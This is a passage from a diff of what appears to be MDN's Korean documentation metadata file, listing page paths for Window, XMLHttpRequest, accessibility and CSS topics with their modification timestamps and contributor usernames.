"Web/API/Window/closed": { + "modified": "2020-08-22T13:20:32.502Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/Window/confirm": { + "modified": "2020-10-15T22:00:12.990Z", + "contributors": [ + "alattalatta", + "idpokute" + ] + }, + "Web/API/Window/console": { + "modified": "2020-02-01T07:17:19.974Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/Window/crypto": { + "modified": "2020-10-15T21:40:03.517Z", + "contributors": [ + "alattalatta", + "hoony" + ] + }, + "Web/API/Window/customElements": { + "modified": "2020-10-15T22:26:45.848Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/Window/devicePixelRatio": { + "modified": "2020-10-15T21:38:18.372Z", + "contributors": [ + "alattalatta", + "apple77y", + "starfish72" + ] + }, + "Web/API/Window/document": { + "modified": "2020-10-15T22:26:46.832Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/Window/event": { + "modified": "2020-10-15T22:02:39.854Z", + "contributors": [ + "alattalatta", + "JCORP" + ] + }, + "Web/API/Window/frameElement": { + "modified": "2020-10-15T22:26:48.500Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/Window/getComputedStyle": { + "modified": "2020-10-15T21:22:01.191Z", + "contributors": [ + "sominlee", + "alattalatta", + "dotorify", + "dalgos", + "fscholz", + "sirparang" + ] + }, + "Web/API/Window/getSelection": { + "modified": "2019-03-23T22:29:25.391Z", + "contributors": [ + "veshboo", + "WonbaeLee" + ] + }, + "Web/API/Window/history": { + "modified": "2020-10-15T22:00:33.418Z", + "contributors": [ + "alattalatta", + "GracefulLight" + ] + }, + "Web/API/Window/innerWidth": { + "modified": "2020-10-15T21:37:10.524Z", + "contributors": [ + "alattalatta", + "pi1992", + "minuJeong" + ] + }, + "Web/API/Window/length": { + "modified": "2020-10-15T22:19:30.019Z", + "contributors": [ + "guyeol" + ] + }, + "Web/API/Window/localStorage": { + "modified": "2020-10-15T21:38:02.780Z", + "contributors": [ + "alattalatta", + "zynkn", + "dvmoomoodv", + "hallower", + "wizardbear", + "jayjin" + ] + }, + "Web/API/Window/location": { + "modified": "2020-10-15T21:42:32.475Z", + "contributors": [ + "alattalatta", + "pjc0247" + ] + }, + "Web/API/Window/matchMedia": { + "modified": "2020-10-15T22:11:42.169Z", + "contributors": [ + "alattalatta", + "dragmove" + ] + }, + "Web/API/Window/name": { + "modified": "2019-03-23T22:32:03.919Z", + "contributors": [ + "paikwiki", + "Dragonholux" + ] + }, + "Web/API/Window/navigator": { + "modified": "2020-10-15T22:26:55.432Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/Window/open": { + "modified": "2020-10-15T22:13:16.786Z", + "contributors": [ + "jeongchaeuk" + ] + }, + "Web/API/Window/opener": { + "modified": "2020-10-15T21:50:11.480Z", + "contributors": [ + "alattalatta", + "HyunkwonEddie-Cho" + ] + }, + "Web/API/Window/orientationchange_event": { + "modified": "2019-04-02T12:02:29.891Z", + "contributors": [ + "fscholz", + "ExE-Boss", + "junho85" + ] + }, + "Web/API/Window/outerWidth": { + "modified": "2019-03-23T22:46:47.494Z", + "contributors": [ + "pi1992" + ] + }, + "Web/API/Window/pageYOffset": { + "modified": "2020-10-15T22:20:34.185Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/Window/popstate_event": { + "modified": "2020-10-15T21:46:24.819Z", + "contributors": [ + "alattalatta", + "chrisdavidmills", + "irenesmith", + "ExE-Boss", + "fscholz", + "joshua1988" + ] + }, + "Web/API/Window/postMessage": { + "modified": "2020-10-15T22:10:00.953Z", + "contributors": [ + "yuyuny", + "monadgon", + "ByeongGi" + ] + }, + "Web/API/Window/prompt": { + "modified": "2020-10-15T21:39:32.282Z", + "contributors": [ + "alattalatta", + "Parcovia", + "." + ] + }, + "Web/API/Window/requestAnimationFrame": { + "modified": "2020-10-15T22:05:43.676Z", + "contributors": [ + "cs09g", + "Snark" + ] + }, + "Web/API/Window/requestIdleCallback": { + "modified": "2020-10-15T22:01:12.462Z", + "contributors": [ + "alattalatta", + "jeonnoej" + ] + }, + "Web/API/Window/resizeTo": { + "modified": "2020-11-27T05:37:13.601Z", + "contributors": [ + "SyngEiEi", + "alattalatta", + "ksyeng" + ] + }, + "Web/API/Window/resize_event": { + "modified": "2019-04-30T13:44:34.193Z", + "contributors": [ + "wbamberg", + "chrisdavidmills", + "irenesmith", + "ExE-Boss", + "DeadIntegral" + ] + }, + "Web/API/Window/scrollTo": { + "modified": "2019-03-23T22:45:38.639Z", + "contributors": [ + "benant" + ] + }, + "Web/API/Window/scrollX": { + "modified": "2020-10-15T22:18:02.280Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/Window/scrollY": { + "modified": "2020-10-15T21:56:48.639Z", + "contributors": [ + "alattalatta", + "jeonnoej" + ] + }, + "Web/API/Window/self": { + "modified": "2020-10-15T22:15:48.731Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/Window/sessionStorage": { + "modified": "2020-10-15T21:38:39.029Z", + "contributors": [ + "alattalatta", + "es-lee", + "hallower" + ] + }, + "Web/API/Window/status": { + "modified": "2019-03-23T22:46:22.063Z", + "contributors": [ + "pi1992" + ] + }, + "Web/API/Window/stop": { + "modified": "2019-03-23T22:12:45.276Z", + "contributors": [ + "BANIP" + ] + }, + "Web/API/Window/toolbar": { + "modified": "2019-03-23T22:31:57.987Z", + "contributors": [ + "Dragonholux" + ] + }, + "Web/API/Window/top": { + "modified": "2020-10-15T21:59:06.721Z", + "contributors": [ + "alattalatta", + "Star_Man" + ] + }, + "Web/API/Window/unload_event": { + "modified": "2020-10-15T22:30:21.828Z", + "contributors": [ + "alattalatta", + "SeonHyungJo" + ] + }, + "Web/API/Window/window": { + "modified": "2019-03-23T22:46:22.936Z", + "contributors": [ + "pi1992" + ] + }, + "Web/API/WindowEventHandlers": { + "modified": "2020-10-15T21:46:21.497Z", + "contributors": [ + "alattalatta", + "fscholz" + ] + }, + "Web/API/WindowEventHandlers/onhashchange": { + "modified": "2020-10-15T21:48:40.089Z", + "contributors": [ + "limkukhyun", + "cs09g", + "TimeExplore" + ] + }, + "Web/API/WindowEventHandlers/onpopstate": { + "modified": "2019-03-23T22:33:09.328Z", + "contributors": [ + "joeunha", + "joshua1988" + ] + }, + "Web/API/WindowEventHandlers/onstorage": { + "modified": "2020-10-15T22:33:23.208Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/WindowTimers/setTimeout": { + "modified": "2019-03-23T22:22:22.449Z", + "contributors": [ + "DevJang", + "TroyTae" + ] + }, + "Web/API/Worker": { + "modified": "2020-10-15T21:47:12.252Z", + "contributors": [ + "alattalatta", + "NFM" + ] + }, + "Web/API/Worker/postMessage": { + "modified": "2019-03-18T21:39:24.795Z", + "contributors": [ + "TaeYoon2" + ] + }, + "Web/API/WritableStream": { + "modified": "2020-10-15T22:22:45.743Z", + "contributors": [ + "ahnzaz" + ] + }, + "Web/API/XMLHttpRequest": { + "modified": "2020-10-15T21:18:13.536Z", + "contributors": [ + "minijaypark", + "jswisher", + "grizlupo", + "cs09g", + "MyungGyu", + "silmari", + "Suguni", + "Wafe", + "Sebuls" + ] + }, + "Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests": { + "modified": "2019-05-28T20:54:40.684Z", + "contributors": [ + "jswisher", + "project42da" + ] + }, + "Web/API/XMLHttpRequest/setRequestHeader": { + "modified": "2020-10-15T21:54:18.038Z", + "contributors": [ + "jswisher", + "alattalatta", + "chatoo2412", + "kidkkr" + ] + }, + "Web/API/XMLHttpRequest/timeout": { + "modified": "2019-05-28T20:54:41.611Z", + "contributors": [ + "jswisher", + "wbamberg", + "ExE-Boss", + "DeadIntegral" + ] + }, + "Web/API/XMLHttpRequest/upload": { + "modified": "2020-10-15T22:30:03.395Z", + "contributors": [ + "DeadIntegral" + ] + }, + "Web/API/notification": { + "modified": "2019-09-10T05:52:41.419Z", + "contributors": [ + "hyeonseok", + "sagnol", + "AshfaqHossain", + "junho85" + ] + }, + "Web/Accessibility": { + "modified": "2019-09-09T14:15:43.285Z", + "contributors": [ + "SphinxKnight", + "OkHyeon", + "young-gratia", + "nacyot", + "teoli", + "Netaras" + ] + }, + "Web/Accessibility/ARIA": { + "modified": "2020-01-12T10:16:30.044Z", + "contributors": [ + "alattalatta", + "young-gratia", + "teoli", + "Cho.Eun" + ] + }, + "Web/Accessibility/ARIA/ARIA_Live_Regions": { + "modified": "2020-12-05T03:30:43.763Z", + "contributors": [ + "movegun1027" + ] + }, + "Web/Accessibility/ARIA/ARIA_Techniques": { + "modified": "2020-01-12T02:25:07.876Z", + "contributors": [ + "alattalatta", + "dcondrey" + ] + }, + "Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute": { + "modified": "2019-05-20T02:23:29.902Z", + "contributors": [ + "dasom0801" + ] + }, + "Web/Accessibility/ARIA/Roles": { + "modified": "2019-03-18T21:24:18.888Z", + "contributors": [ + "estelle" + ] + }, + "Web/Accessibility/ARIA/Roles/dialog_role": { + "modified": "2019-03-18T21:24:31.941Z", + "contributors": [ + "seokju-na" + ] + }, + "Web/Accessibility/ARIA/forms": { + "modified": "2020-12-05T03:35:00.756Z", + "contributors": [ + "movegun1027", + "dasom0801" + ] + }, + "Web/Accessibility/ARIA/forms/Basic_form_hints": { + "modified": "2019-05-20T01:53:49.386Z", + "contributors": [ + "dasom0801" + ] + }, + "Web/Accessibility/ARIA/forms/alerts": { + "modified": "2019-04-06T02:12:01.060Z", + "contributors": [ + "dasom0801" + ] + }, + "Web/Accessibility/An_overview_of_accessible_web_applications_and_widgets": { + "modified": "2019-03-23T23:21:28.496Z", + "contributors": [ + "dotorify", + "teoli", + "Cho.Eun" + ] + }, + "Web/Accessibility/Mobile_accessibility_checklist": { + "modified": "2019-09-08T04:58:59.841Z", + "contributors": [ + "seunghun" + ] + }, + "Web/Accessibility/Understanding_WCAG": { + "modified": "2020-04-22T11:21:03.173Z" + }, + "Web/Accessibility/Understanding_WCAG/Keyboard": { + "modified": "2020-04-22T11:21:04.132Z", + "contributors": [ + "hhn044794" + ] + }, + "Web/CSS": { + "modified": "2020-03-24T23:49:32.274Z", + "contributors": [ + "alattalatta", + "SphinxKnight", + "dbwodlf3", + "Netaras", + "jaeminkim87", + "teoli", + "jaemin_jo", + "Ioseph", + "Sebuls", + "Jiyoon", + "Channy" + ] + }, + "Web/CSS/-moz-image-region": { + "modified": "2020-10-15T21:37:53.434Z", + "contributors": [ + "alattalatta", + "teoli", + "wjsskanyo" + ] + }, + "Web/CSS/-webkit-line-clamp": { + "modified": "2020-10-15T22:25:56.637Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/-webkit-overflow-scrolling": { + "modified": "2020-10-15T21:37:39.290Z", + "contributors": [ + "alattalatta", + "epicsaga" + ] + }, + "Web/CSS/::after": { + "modified": "2020-10-15T21:37:38.967Z", + "contributors": [ + "alattalatta", + "samee", + "DeadIntegral", + "pelly_ryu", + "kuil09" + ] + }, + "Web/CSS/::before": { + "modified": "2020-10-15T22:26:07.120Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/::placeholder": { + "modified": "2020-10-15T22:33:58.412Z", + "contributors": [ + "dusehrla6432" + ] + }, + "Web/CSS/:active": { + "modified": "2020-10-15T21:55:14.047Z", + "contributors": [ + "alattalatta", + "chatoo2412", + "LeeJunyeol" + ] + }, + "Web/CSS/:checked": { + "modified": "2020-10-15T22:28:37.272Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/:default": { + "modified": "2020-10-15T22:32:39.937Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/:defined": { + "modified": "2020-10-15T22:32:39.359Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/:disabled": { + "modified": "2020-10-15T22:27:45.878Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/:enabled": { + "modified": "2020-10-15T22:27:45.360Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/:first": { + "modified": "2020-10-15T21:46:53.912Z", + "contributors": [ + "alattalatta", + "Abbey100" + ] + }, + "Web/CSS/:first-child": { + "modified": "2020-10-15T21:49:44.106Z", + "contributors": [ + "alattalatta", + "ShihwanKim" + ] + }, + "Web/CSS/:first-of-type": { + "modified": "2020-10-15T22:32:33.323Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/:focus": { + "modified": "2020-10-15T22:32:53.126Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/:focus-within": { + "modified": "2020-10-15T22:04:40.850Z", + "contributors": [ + "alattalatta", + "dragmove" + ] + }, + "Web/CSS/:fullscreen": { + "modified": "2020-10-15T22:33:29.162Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/:hover": { + "modified": "2020-10-15T22:18:47.333Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/:link": { + "modified": "2020-10-15T22:18:48.344Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/:not": { + "modified": "2020-10-15T21:46:19.378Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/:nth-child": { + "modified": "2020-10-15T21:53:08.514Z", + "contributors": [ + "alattalatta", + "kewlbear" + ] + }, + "Web/CSS/:root": { + "modified": "2020-10-15T22:26:34.640Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/:visited": { + "modified": "2020-10-15T22:15:47.141Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/@charset": { + "modified": "2020-10-15T21:45:47.461Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/@font-face": { + "modified": "2019-03-23T23:36:07.738Z", + "contributors": [ + "fscholz", + "teoli", + "mirinae312" + ] + }, + "Web/CSS/@font-face/font-display": { + "modified": "2020-10-15T22:30:54.274Z", + "contributors": [ + "DeadIntegral" + ] + }, + "Web/CSS/@import": { + "modified": "2020-10-15T21:45:49.357Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/@keyframes": { + "modified": "2020-10-15T21:48:02.411Z", + "contributors": [ + "alattalatta", + "joshua1988" + ] + }, + "Web/CSS/@media": { + "modified": "2020-10-15T21:46:08.753Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/@media/prefers-color-scheme": { + "modified": "2020-10-15T22:16:57.718Z", + "contributors": [ + "lifeisnovel" + ] + }, + "Web/CSS/@namespace": { + "modified": "2020-10-15T21:45:48.598Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/@page": { + "modified": "2020-10-15T21:45:49.203Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/@supports": { + "modified": "2020-10-15T21:39:41.961Z", + "contributors": [ + "alattalatta", + "fscholz", + "epicsaga" + ] + }, + "Web/CSS/@viewport": { + "modified": "2020-10-15T21:46:25.224Z", + "contributors": [ + "alattalatta", + "cvrebert" + ] + }, + "Web/CSS/@viewport/height": { + "modified": "2020-10-15T21:46:24.032Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/@viewport/viewport-fit": { + "modified": "2020-10-15T22:22:51.969Z", + "contributors": [ + "chayeoi", + "SphinxKnight" + ] + }, + "Web/CSS/@viewport/zoom": { + "modified": "2020-10-15T21:46:22.320Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/All_About_The_Containing_Block": { + "modified": "2020-01-07T10:38:47.261Z", + "contributors": [ + "alattalatta", + "nyxchung" + ] + }, + "Web/CSS/Alternative_style_sheets": { + "modified": "2019-03-23T23:52:49.065Z", + "contributors": [ + "teoli", + "Suguni" + ] + }, + "Web/CSS/At-rule": { + "modified": "2019-03-18T20:41:39.547Z", + "contributors": [ + "alattalatta", + "Seonghui", + "jihyerish", + "Netaras" + ] + }, + "Web/CSS/Attribute_selectors": { + "modified": "2020-10-15T21:50:30.795Z", + "contributors": [ + "alattalatta", + "young-gratia" + ] + }, + "Web/CSS/CSS_Animations": { + "modified": "2020-10-15T21:40:14.551Z", + "contributors": [ + "alattalatta", + "MexieAndCo" + ] + }, + "Web/CSS/CSS_Animations/Using_CSS_animations": { + "modified": "2019-03-23T23:37:34.998Z", + "contributors": [ + "SphinxKnight", + "teoli", + "jaemin_jo" + ] + }, + "Web/CSS/CSS_Background_and_Borders/Border-image_generator": { + "modified": "2019-03-20T10:30:55.489Z", + "contributors": [ + "alattalatta", + "young-gratia" + ] + }, + "Web/CSS/CSS_Background_and_Borders/Border-radius_generator": { + "modified": "2019-03-20T10:29:25.952Z", + "contributors": [ + "alattalatta", + "young-gratia" + ] + }, + "Web/CSS/CSS_Background_and_Borders/Box-shadow_generator": { + "modified": "2019-03-20T10:32:14.015Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds": { + "modified": "2019-03-23T23:37:37.611Z", + "contributors": [ + "teoli", + "Inyoung", + "jaemin_jo" + ] + }, + "Web/CSS/CSS_Backgrounds_and_Borders": { + "modified": "2020-08-10T06:40:27.369Z", + "contributors": [ + "alattalatta", + "Sheppy" + ] + }, + "Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images": { + "modified": "2019-04-08T10:28:17.719Z", + "contributors": [ + "alattalatta", + "jyqry" + ] + }, + "Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds": { + "modified": "2019-05-02T02:39:15.426Z", + "contributors": [ + "alattalatta", + "yangtaeho" + ] + }, + "Web/CSS/CSS_Basic_User_Interface": { + "modified": "2020-08-22T11:32:19.551Z", + "contributors": [ + "alattalatta", + "SphinxKnight" + ] + }, + "Web/CSS/CSS_Box_Model": { + "modified": "2019-04-11T11:38:24.806Z", + "contributors": [ + "alattalatta", + "Netaras", + "Sebastianz" + ] + }, + "Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model": { + "modified": "2020-08-04T05:49:04.204Z", + "contributors": [ + "alattalatta", + "KwangseokWon", + "Netaras" + ] + }, + "Web/CSS/CSS_Box_Model/Mastering_margin_collapsing": { + "modified": "2020-08-04T05:48:58.017Z", + "contributors": [ + "alattalatta", + "ahnjungho", + "Netaras" + ] + }, + "Web/CSS/CSS_Charsets": { + "modified": "2019-04-25T11:04:17.063Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/CSS_Color": { + "modified": "2020-10-15T22:04:24.231Z", + "contributors": [ + "alattalatta", + "hyeran2" + ] + }, + "Web/CSS/CSS_Colors/Color_picker_tool": { + "modified": "2019-03-18T21:24:14.300Z", + "contributors": [ + "darim" + ] + }, + "Web/CSS/CSS_Columns": { + "modified": "2019-04-11T11:34:08.500Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/CSS_Conditional_Rules": { + "modified": "2019-04-26T08:57:56.325Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/CSS_Containment": { + "modified": "2020-10-16T09:12:34.130Z", + "contributors": [ + "DeadIntegral" + ] + }, + "Web/CSS/CSS_Device_Adaptation": { + "modified": "2019-04-26T08:58:25.376Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/CSS_Flexible_Box_Layout": { + "modified": "2020-08-04T05:49:54.665Z", + "contributors": [ + "alattalatta", + "beowolf9", + "ljb7977", + "Netaras" + ] + }, + "Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container": { + "modified": "2019-07-26T22:57:33.143Z", + "contributors": [ + "chansbro", + "beowolf9" + ] + }, + "Web/CSS/CSS_Flexible_Box_Layout/Flexbox의_기본_개념": { + "modified": "2019-03-18T20:55:20.567Z", + "contributors": [ + "5JJ", + "joeunha", + "beowolf9", + "silmari", + "soonoo", + "wankyu", + "Latera" + ] + }, + "Web/CSS/CSS_Flexible_Box_Layout/가변상자의_대표적인_사용례": { + "modified": "2019-10-04T18:40:14.389Z", + "contributors": [ + "Hwan-Woong-Lee" + ] + }, + "Web/CSS/CSS_Flow_Layout": { + "modified": "2020-10-25T09:14:50.404Z", + "contributors": [ + "DeadIntegral", + "Hwan-Woong-Lee", + "cybaj" + ] + }, + "Web/CSS/CSS_Flow_Layout/Intro_to_formatting_contexts": { + "modified": "2019-09-25T06:26:34.609Z", + "contributors": [ + "Hwan-Woong-Lee", + "cybaj" + ] + }, + "Web/CSS/CSS_Flow_Layout/대열과_탈대열": { + "modified": "2019-09-24T15:45:35.513Z", + "contributors": [ + "Hwan-Woong-Lee" + ] + }, + "Web/CSS/CSS_Flow_Layout/일반_흐름_속_블록_및_인라인_레이아웃": { + "modified": "2019-09-26T08:28:44.702Z", + "contributors": [ + "Hwan-Woong-Lee" + ] + }, + "Web/CSS/CSS_Flow_Layout/흐름_레이아웃과_쓰기_모드": { + "modified": "2019-09-17T21:10:09.773Z", + "contributors": [ + "Hwan-Woong-Lee" + ] + }, + "Web/CSS/CSS_Flow_Layout/흐름_레이아웃과_오버플로": { + "modified": "2020-03-10T09:52:12.477Z", + "contributors": [ + "EricByHPHK", + "Hwan-Woong-Lee" + ] + }, + "Web/CSS/CSS_Fonts": { + "modified": "2019-04-25T10:51:28.269Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/CSS_Generated_Content": { + "modified": "2019-04-24T12:43:29.904Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/CSS_Grid_Layout": { + "modified": "2019-03-23T22:19:44.989Z", + "contributors": [ + "miname", + "techhtml" + ] + }, + "Web/CSS/CSS_Grid_Layout/Basic_concepts_of_grid_layout": { + "modified": "2019-10-10T16:32:21.410Z", + "contributors": [ + "alattalatta", + "dbwodlf3" + ] + }, + "Web/CSS/CSS_Grid_Layout/Grid_template_areas": { + "modified": "2019-10-10T16:54:35.246Z", + "contributors": [ + "chrisdavidmills", + "dbwodlf3", + "miname" + ] + }, + "Web/CSS/CSS_Grid_Layout/Layout_using_named_grid_lines": { + "modified": "2019-03-23T22:00:52.287Z", + "contributors": [ + "chrisdavidmills", + "dbwodlf3", + "miname" + ] + }, + "Web/CSS/CSS_Grid_Layout/Line-based_placement_with_CSS_grid": { + "modified": "2019-03-23T22:01:04.533Z", + "contributors": [ + "chrisdavidmills", + "dbwodlf3", + "miname" + ] + }, + "Web/CSS/CSS_Grid_Layout/Relationship_of_grid_layout": { + "modified": "2019-03-23T22:01:05.023Z", + "contributors": [ + "chrisdavidmills", + "dbwodlf3", + "miname", + "sarojaba" + ] + }, + "Web/CSS/CSS_Images": { + "modified": "2020-08-05T10:48:34.252Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/CSS_Images/Implementing_image_sprites_in_CSS": { + "modified": "2020-08-05T10:28:13.719Z", + "contributors": [ + "alattalatta", + "corean", + "ingee.kim" + ] + }, + "Web/CSS/CSS_Images/Using_CSS_gradients": { + "modified": "2020-08-05T10:27:39.634Z", + "contributors": [ + "alattalatta", + "albertkang1004" + ] + }, + "Web/CSS/CSS_Lists_and_Counters": { + "modified": "2019-04-24T12:48:26.621Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters": { + "modified": "2020-06-15T04:03:26.893Z", + "contributors": [ + "lee.juyoung.1978", + "citrus.alice" + ] + }, + "Web/CSS/CSS_Logical_Properties": { + "modified": "2019-04-25T12:25:18.617Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/CSS_Masks": { + "modified": "2019-04-26T08:55:40.990Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/CSS_Miscellaneous": { + "modified": "2019-03-23T22:32:29.213Z", + "contributors": [ + "Netaras" + ] + }, + "Web/CSS/CSS_Namespaces": { + "modified": "2019-04-26T08:57:19.875Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/CSS_Pages": { + "modified": "2019-04-24T12:50:22.680Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/CSS_Positioning": { + "modified": "2019-04-21T01:25:04.626Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/CSS_Positioning/Understanding_z_index": { + "modified": "2020-02-05T05:13:01.140Z", + "contributors": [ + "SphinxKnight", + "teoli", + "jaemin_jo" + ] + }, + "Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index": { + "modified": "2020-02-05T05:13:01.975Z", + "contributors": [ + "SphinxKnight", + "teoli", + "jaemin_jo" + ] + }, + "Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float": { + "modified": "2020-02-05T05:13:01.825Z", + "contributors": [ + "SphinxKnight", + "teoli", + "jaemin_jo" + ] + }, + "Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1": { + "modified": "2020-02-05T05:13:02.108Z", + "contributors": [ + "SphinxKnight", + "teoli", + "jaemin_jo" + ] + }, + "Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2": { + "modified": "2020-02-05T05:13:02.229Z", + "contributors": [ + "SphinxKnight", + "teoli", + "jaemin_jo" + ] + }, + "Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3": { + "modified": "2020-02-05T05:13:02.358Z", + "contributors": [ + "SphinxKnight", + "teoli", + "jaemin_jo" + ] + }, + "Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index": { + "modified": "2020-02-05T05:13:01.179Z", + "contributors": [ + "SphinxKnight", + "teoli", + "jaemin_jo" + ] + }, + "Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context": { + "modified": "2020-11-23T02:40:41.896Z", + "contributors": [ + "degurii", + "SphinxKnight", + "alattalatta", + "mixed80", + "teoli", + "jaemin_jo" + ] + }, + "Web/CSS/CSS_Ruby": { + "modified": "2019-04-25T10:56:54.378Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/CSS_Scroll_Snap_Points": { + "modified": "2019-04-14T23:39:58.448Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/CSS_Selectors": { + "modified": "2020-08-22T11:28:21.089Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/CSS_Shapes": { + "modified": "2019-04-25T10:46:18.309Z", + "contributors": [ + "alattalatta", + "seunghun", + "Netaras" + ] + }, + "Web/CSS/CSS_Table": { + "modified": "2020-08-14T07:19:40.233Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/CSS_Text": { + "modified": "2020-08-14T07:07:31.180Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/CSS_Text_Decoration": { + "modified": "2019-04-26T09:11:17.686Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/CSS_Transforms": { + "modified": "2019-05-25T01:16:56.674Z", + "contributors": [ + "alattalatta", + "Sebastianz", + "fscholz" + ] + }, + "Web/CSS/CSS_Transforms/Using_CSS_transforms": { + "modified": "2020-08-10T09:38:37.563Z", + "contributors": [ + "alattalatta", + "fscholz", + "teoli", + "mirinae312", + "jaemin_jo" + ] + }, + "Web/CSS/CSS_Transitions": { + "modified": "2019-04-24T12:25:03.824Z", + "contributors": [ + "alattalatta", + "teoli" + ] + }, + "Web/CSS/CSS_Transitions/Using_CSS_transitions": { + "modified": "2019-04-24T12:31:27.840Z", + "contributors": [ + "alattalatta", + "teoli", + "fscholz", + "sbnet21" + ] + }, + "Web/CSS/CSS_Types": { + "modified": "2020-08-06T04:37:09.952Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/CSS_Variables": { + "modified": "2019-11-14T21:10:56.947Z", + "contributors": [ + "so4869" + ] + }, + "Web/CSS/CSS_Writing_Modes": { + "modified": "2019-04-24T12:41:55.322Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/CSS_animated_properties": { + "modified": "2019-03-23T22:32:22.661Z", + "contributors": [ + "Netaras" + ] + }, + "Web/CSS/CSS_단위와_값": { + "modified": "2020-11-29T04:33:10.671Z", + "contributors": [ + "alanhchoi" + ] + }, + "Web/CSS/Cascade": { + "modified": "2019-03-23T22:13:24.690Z", + "contributors": [ + "alattalatta", + "hoony" + ] + }, + "Web/CSS/Child_combinator": { + "modified": "2020-10-15T22:25:55.183Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/Class_selectors": { + "modified": "2020-10-15T22:15:58.108Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/Comments": { + "modified": "2019-12-27T06:34:39.339Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/Common_CSS_Questions": { + "modified": "2020-07-16T22:25:45.337Z", + "contributors": [ + "miyunim" + ] + }, + "Web/CSS/Descendant_combinator": { + "modified": "2020-10-15T22:25:55.745Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/Filter_Effects": { + "modified": "2020-10-15T22:33:03.965Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/General_sibling_combinator": { + "modified": "2020-10-15T22:25:59.669Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/Getting_Started/JavaScript": { + "modified": "2019-03-23T23:41:58.615Z", + "contributors": [ + "teoli", + "Ioseph" + ] + }, + "Web/CSS/Getting_Started/SVG_graphics": { + "modified": "2019-03-23T23:41:56.694Z", + "contributors": [ + "teoli", + "Ioseph" + ] + }, + "Web/CSS/ID_selectors": { + "modified": "2020-10-15T22:16:17.946Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/Index": { + "modified": "2019-05-26T05:51:14.395Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/Layout_mode": { + "modified": 